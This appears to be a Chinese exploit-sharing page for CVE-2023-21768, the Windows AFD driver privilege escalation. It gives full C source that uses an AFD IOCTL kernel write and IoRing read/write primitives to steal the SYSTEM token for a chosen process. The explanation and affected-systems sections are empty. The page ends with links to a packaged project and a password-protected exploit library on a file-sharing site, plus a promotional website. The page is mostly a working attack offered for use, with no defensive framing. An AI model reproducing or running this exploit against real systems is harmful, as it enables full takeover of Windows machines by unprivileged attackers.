CVE-2023-21768 Windows Ancillary Function Driver (AFD) afd.sys本地提权漏洞。
漏洞原理
受影响系统
代码样本
#ifndef _WIN_DEFS_H_
#define _WIN_DEFS_H_
#define EPROC_TOKEN_OFFSET 0x4b8
#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16
typedef struct _OBJECT_TYPE_INFORMATION
{
UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN TypeIndex;
CHAR ReservedByte;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
unsigned short UniqueProcessId;
unsigned short CreatorBackTraceIndex;
unsigned char ObjectTypeIndex;
unsigned char HandleAttributes;
unsigned short HandleValue;
void* Object;
unsigned long GrantedAccess;
long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
unsigned long NumberOfHandles;
struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _DISPATCHER_HEADER
{
union
{
volatile long Lock;
long LockNV;
struct
{
unsigned char Type;
unsigned char Signalling;
unsigned char Size;
unsigned char Reserved1;
};
struct
{
unsigned char TimerType;
union
{
unsigned char TimerControlFlags;
struct
{
struct
{
unsigned char Absolute : 1;
unsigned char Wake : 1;
unsigned char EncodedTolerableDelay : 6;
};
unsigned char Hand;
union
{
unsigned char TimerMiscFlags;
struct
{
unsigned char Index : 6;
unsigned char Inserted : 1;
volatile unsigned char Expired : 1;
};
};
};
};
};
struct
{
unsigned char Timer2Type;
union
{
unsigned char Timer2Flags;
struct
{
struct
{
unsigned char Timer2Inserted : 1;
unsigned char Timer2Expiring : 1;
unsigned char Timer2CancelPending : 1;
unsigned char Timer2SetPending : 1;
unsigned char Timer2Running : 1;
unsigned char Timer2Disabled : 1;
unsigned char Timer2ReservedFlags : 2;
};
unsigned char Timer2ComponentId;
unsigned char Timer2RelativeId;
};
};
};
struct
{
unsigned char QueueType;
union
{
unsigned char QueueControlFlags;
struct
{
struct
{
unsigned char Abandoned : 1;
unsigned char DisableIncrement : 1;
unsigned char QueueReservedControlFlags : 6;
};
unsigned char QueueSize;
unsigned char QueueReserved;
};
};
};
struct
{
unsigned char ThreadType;
unsigned char ThreadReserved;
union
{
unsigned char ThreadControlFlags;
struct
{
struct
{
unsigned char CycleProfiling : 1;
unsigned char CounterProfiling : 1;
unsigned char GroupScheduling : 1;
unsigned char AffinitySet : 1;
unsigned char Tagged : 1;
unsigned char EnergyProfiling : 1;
unsigned char SchedulerAssist : 1;
unsigned char ThreadReservedControlFlags : 1;
};
union
{
unsigned char DebugActive;
struct
{
unsigned char ActiveDR7 : 1;
unsigned char Instrumented : 1;
unsigned char Minimal : 1;
unsigned char Reserved4 : 2;
unsigned char AltSyscall : 1;
unsigned char Emulation : 1;
unsigned char Reserved5 : 1;
};
};
};
};
};
struct
{
unsigned char MutantType;
unsigned char MutantSize;
unsigned char DpcActive;
unsigned char MutantReserved;
};
};
long SignalState;
LIST_ENTRY WaitListHead;
} DISPATCHER_HEADER, * PDISPATCHER_HEADER;
typedef struct _KEVENT
{
struct _DISPATCHER_HEADER Header;
} KEVENT, * PKEVENT;
DWORD(WINAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
DWORD(WINAPI* _NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* _NtCreateIoCompletion)(PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads);
DWORD(WINAPI* _NtSetIoCompletion)(HANDLE IoCompletionHandle, ULONG CompletionKey, PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus, ULONG NumberOfBytesTransferred);
DWORD(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
#endif
#ifndef _IORING_H_
#define _IORING_H_
#include "win_defs.h"
typedef struct _NT_IORING_CREATE_FLAGS
{
enum _NT_IORING_CREATE_REQUIRED_FLAGS Required;
enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory;
} NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS;
typedef struct _NT_IORING_INFO
{
enum IORING_VERSION IoRingVersion;
struct _NT_IORING_CREATE_FLAGS Flags;
unsigned int SubmissionQueueSize;
unsigned int SubmissionQueueRingMask;
unsigned int CompletionQueueSize;
unsigned int CompletionQueueRingMask;
struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
} NT_IORING_INFO, * PNT_IORING_INFO;
typedef struct _IOP_MC_BUFFER_ENTRY
{
USHORT Type;
USHORT Reserved;
ULONG Size;
ULONG ReferenceCount;
ULONG Flags;
LIST_ENTRY GlobalDataLink;
PVOID Address;
ULONG Length;
CHAR AccessMode;
ULONG MdlRef;
struct _MDL* Mdl;
KEVENT MdlRundownEvent;
PULONG64 PfnArray;
BYTE PageNodes[0x20];
} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;
typedef struct _IORING_OBJECT
{
short Type;
short Size;
struct _NT_IORING_INFO UserInfo;
void* Section;
struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
struct _MDL* CompletionQueueMdl;
struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
unsigned __int64 ViewSize;
long InSubmit;
unsigned __int64 CompletionLock;
unsigned __int64 SubmitCount;
unsigned __int64 CompletionCount;
unsigned __int64 CompletionWaitUntil;
struct _KEVENT CompletionEvent;
unsigned char SignalCompletionEvent;
struct _KEVENT* CompletionUserEvent;
unsigned int RegBuffersCount;
struct _IOP_MC_BUFFER_ENTRY** RegBuffers;
unsigned int RegFilesCount;
void** RegFiles;
} IORING_OBJECT, * PIORING_OBJECT;
typedef struct _HIORING
{
HANDLE handle;
NT_IORING_INFO Info;
ULONG IoRingKernelAcceptedVersion;
PVOID RegBufferArray;
ULONG BufferArraySize;
PVOID Unknown;
ULONG FileHandlesCount;
ULONG SubQueueHead;
ULONG SubQueueTail;
}_HIORING;
int ioring_setup(PIORING_OBJECT* ppIoRingAddr);
int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, DWORD dwFakeRegBufferCnt);
#endif
#include
#include
#include
#include
#include "ioring.h"
#include "win_defs.h"
HIORING hIoRing = NULL;
PIORING_OBJECT pIoRing = NULL;
HANDLE hInPipe = INVALID_HANDLE_VALUE;
HANDLE hOutPipe = INVALID_HANDLE_VALUE;
HANDLE hInPipeClient = INVALID_HANDLE_VALUE;
HANDLE hOutPipeClient = INVALID_HANDLE_VALUE;
int ioring_setup(PIORING_OBJECT* ppIoRingAddr)
{
int ret = -1;
IORING_CREATE_FLAGS ioRingFlags = { 0 };
ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;
ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);
if (0 != ret)
{
goto done;
}
ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);
if (0 != ret)
{
goto done;
}
pIoRing = *ppIoRingAddr;
hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe))
{
ret = GetLastError();
goto done;
}
hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient))
{
ret = GetLastError();
goto done;
}
ret = 0;
done:
return ret;
}
int getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)
{
int ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
ULONG ulBytes = 0;
NTSTATUS ntStatus = STATUS_SUCCESS;
while ((ntStatus = _NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (pHandleInfo != NULL)
{
pHandleInfo = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * ulBytes);
}
else
{
pHandleInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
}
}
if (ntStatus != STATUS_SUCCESS)
{
ret = ntStatus;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == handle))
{
*ppObjAddr = pHandleInfo->Handles[i].Object;
ret = 0;
break;
}
}
done:
if (NULL != pHandleInfo)
{
HeapFree(GetProcessHeap, 0, pHandleInfo);
}
return ret;
}
int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
int ret = -1;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_CQE cqe = { 0 };
pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if (NULL == pMcBufferEntry)
{
ret = GetLastError();
goto done;
}
pMcBufferEntry->Address = pReadAddr;
pMcBufferEntry->Length = ulReadLen;
pMcBufferEntry->Type = 0xc02;
pMcBufferEntry->Size = 0x80;
pMcBufferEntry->AccessMode = 1;
pMcBufferEntry->ReferenceCount = 1;
pRegisterBuffers[0] = pMcBufferEntry;
ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if (0 != ret)
{
goto done;
}
ret = SubmitIoRing(hIoRing, 0, 0, NULL);
if (0 != ret)
{
goto done;
}
ret = PopIoRingCompletion(hIoRing, &cqe);
if (0 != ret)
{
goto done;
}
if (0 != cqe.ResultCode)
{
ret = cqe.ResultCode;
goto done;
}
if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
{
ret = GetLastError();
goto done;
}
ret = 0;
done:
if (NULL != pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return ret;
}
int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
int ret = -1;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_CQE cqe = { 0 };
if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
ret = GetLastError();
goto done;
}
pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if (NULL == pMcBufferEntry)
{
ret = GetLastError();
goto done;
}
pMcBufferEntry->Address = pWriteAddr;
pMcBufferEntry->Length = ulWriteLen;
pMcBufferEntry->Type = 0xc02;
pMcBufferEntry->Size = 0x80;
pMcBufferEntry->AccessMode = 1;
pMcBufferEntry->ReferenceCount = 1;
pRegisterBuffers[0] = pMcBufferEntry;
ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);
if (0 != ret)
{
goto done;
}
ret = SubmitIoRing(hIoRing, 0, 0, NULL);
if (0 != ret)
{
goto done;
}
ret = PopIoRingCompletion(hIoRing, &cqe);
if (0 != ret)
{
goto done;
}
if (0 != cqe.ResultCode)
{
ret = cqe.ResultCode;
goto done;
}
ret = 0;
done:
if (NULL != pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return ret;
}
int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt)
{
int ret = -1;
HANDLE hProc = NULL;
ULONG64 ullSystemEPROCaddr = 0;
ULONG64 ullTargEPROCaddr = 0;
PVOID pFakeRegBuffers = NULL;
_HIORING* phIoRing = NULL;
ULONG64 ullSysToken = 0;
char null[0x10] = { 0 };
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);
if (NULL == hProc)
{
ret = GetLastError();
goto done;
}
ret = getobjptr(&ullSystemEPROCaddr, 4, 4);
if (0 != ret)
{
goto done;
}
printf("[+] System EPROC address: %llx\n", ullSystemEPROCaddr);
ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);
if (0 != ret)
{
goto done;
}
printf("[+} Target process EPROC address: %llx\n", ullTargEPROCaddr);
pFakeRegBuffers = VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr)
{
ret = GetLastError();
goto done;
}
memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);
phIoRing = *(_HIORING**)&hIoRing;
phIoRing->RegBufferArray = pFakeRegBuffers;
phIoRing->BufferArraySize = ulFakeRegBufferCnt;
ret = ioring_read(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
if (0 != ret)
{
goto done;
}
printf("[+] System token is at: %llx\n", ullSysToken);
ret = ioring_write(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
if (0 != ret)
{
goto done;
}
ioring_write(pFakeRegBuffers, &pIoRing->RegBuffersCount, &null, 0x10);
ret = 0;
done:
return ret;
}
#include
#include
#include
#include
#include "win_defs.h"
#include "ioring.h"
#define AFD_NOTIFYSOCK_IOCTL 0x12127
typedef struct AFD_NOTIFYSOCK_DATA
{
HANDLE hCompletion;
PVOID pData1;
PVOID pData2;
PVOID pPwnPtr;
DWORD dwCounter;
DWORD dwTimeout;
DWORD dwLen;
char lol[0x4];
}AFD_NOTIFYSOCK_DATA;
int GetNtFunctions(void)
{
int ret = -1;
_NtCreateFile = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile");
_NtDeviceIoControlFile = (unsigned long(__stdcall*)(HANDLE, void*, void*, void*, PIO_STATUS_BLOCK, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeviceIoControlFile");
_NtCreateIoCompletion = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateIoCompletion");
_NtSetIoCompletion = (unsigned long(__stdcall*)(HANDLE, unsigned long, PIO_STATUS_BLOCK, NTSTATUS, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion");
_NtQuerySystemInformation = (unsigned long(__stdcall*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if ((_NtSetIoCompletion == NULL) || (_NtCreateIoCompletion == NULL) || (_NtCreateFile == NULL) || (_NtDeviceIoControlFile == NULL) || (_NtQuerySystemInformation == NULL))
{
ret = GetLastError();
goto done;
}
ret = 0;
done:
return ret;
}
int ArbitraryKernelWrite0x1(void* pPwnPtr)
{
int ret = -1;
HANDLE hCompletion = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK IoStatusBlock = { 0 };
HANDLE hSocket = INVALID_HANDLE_VALUE;
UNICODE_STRING ObjectFilePath = { 0 };
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
AFD_NOTIFYSOCK_DATA Data = { 0 };
HANDLE hEvent = NULL;
HANDLE hThread = NULL;
// Hard-coded attributes for an IPv4 TCP socket
BYTE bExtendedAttributes[] =
{
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
};
ret = _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);
if (0 != ret)
{
goto done;
}
ret = _NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);
if (0 != ret)
{
goto done;
}
ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
ObjectFilePath.MaximumLength = ObjectFilePath.Length;
ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &ObjectFilePath;
ObjectAttributes.Attributes = 0x40;
ret = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
if (0 != ret)
{
goto done;
}
Data.hCompletion = hCompletion;
Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter = 0x1;
Data.dwLen = 0x1;
Data.dwTimeout = 100000000;
Data.pPwnPtr = pPwnPtr;
if ((NULL == Data.pData1) || (NULL == Data.pData2))
{
ret = GetLastError();
goto done;
}
hEvent = CreateEvent(NULL, 0, 0, NULL);
if (NULL == hEvent)
{
ret = GetLastError();
goto done;
}
_NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);
ret = 0;
done:
if (INVALID_HANDLE_VALUE != hCompletion)
{
CloseHandle(hCompletion);
}
if (INVALID_HANDLE_VALUE != hSocket)
{
CloseHandle(hSocket);
}
if (NULL != hEvent)
{
CloseHandle(hEvent);
}
if (NULL != Data.pData1)
{
VirtualFree(Data.pData1, 0, MEM_RELEASE);
}
if (NULL != Data.pData2)
{
VirtualFree(Data.pData2, 0, MEM_RELEASE);
}
return ret;
}
int main(int argc, char* argv[])
{
int ret = -1;
PIORING_OBJECT pIoRing = NULL;
ULONG pid = 0;
printf("WebSite:\nwww.chwm.vip\n\n");
if (argc != 2)
{
printf("usage:\nexp.exe \n");
goto done;
}
pid = strtol(argv[1], NULL, 10);
printf("[!] Attempting to elevate pid %i\n", pid);
ret = GetNtFunctions();
if (0 != ret)
{
printf("[-] Failed to get address of NT functions: %0x\n", ret);
goto done;
}
ret = ioring_setup(&pIoRing);
if (0 != ret)
{
printf("[-] IORING setup failed: %0x\n", ret);
goto done;
}
printf("[+] IoRing Obj Address at %llx\n", pIoRing);
ret = ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffers + 0x3);
if (0 != ret)
{
printf("[-] IoRing->RegBuffers overwrite failed: %0x\n", ret);
goto done;
}
printf("[+] IoRing->RegBuffers overwritten with address 0x1000000\n");
ret = ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffersCount);
if (0 != ret)
{
printf("[-] IoRing->RegBuffersCount overwrite failed: %0x\n", ret);
goto done;
}
printf("[+] IoRing->RegBuffersCount overwritten with 0x1\n");
ret = ioring_lpe(pid, 0x1000000, 0x1);
if (0 != ret)
{
printf("[-] LPE Failed: %0x\n", ret);
goto done;
}
printf("[+] Target process token elevated to SYSTEM!\n");
done:
return ret;
}
使用方法
完整项目下载
【下载地址】https://wwrd.lanzoum.com/icTHi167lv8f
漏洞库
【密码:b8ox】https://wwrd.lanzoum.com/b04eghy4f
官方网站
【Rainbow 官网】https://www.chwm.vip/?v=CVE-2023-21768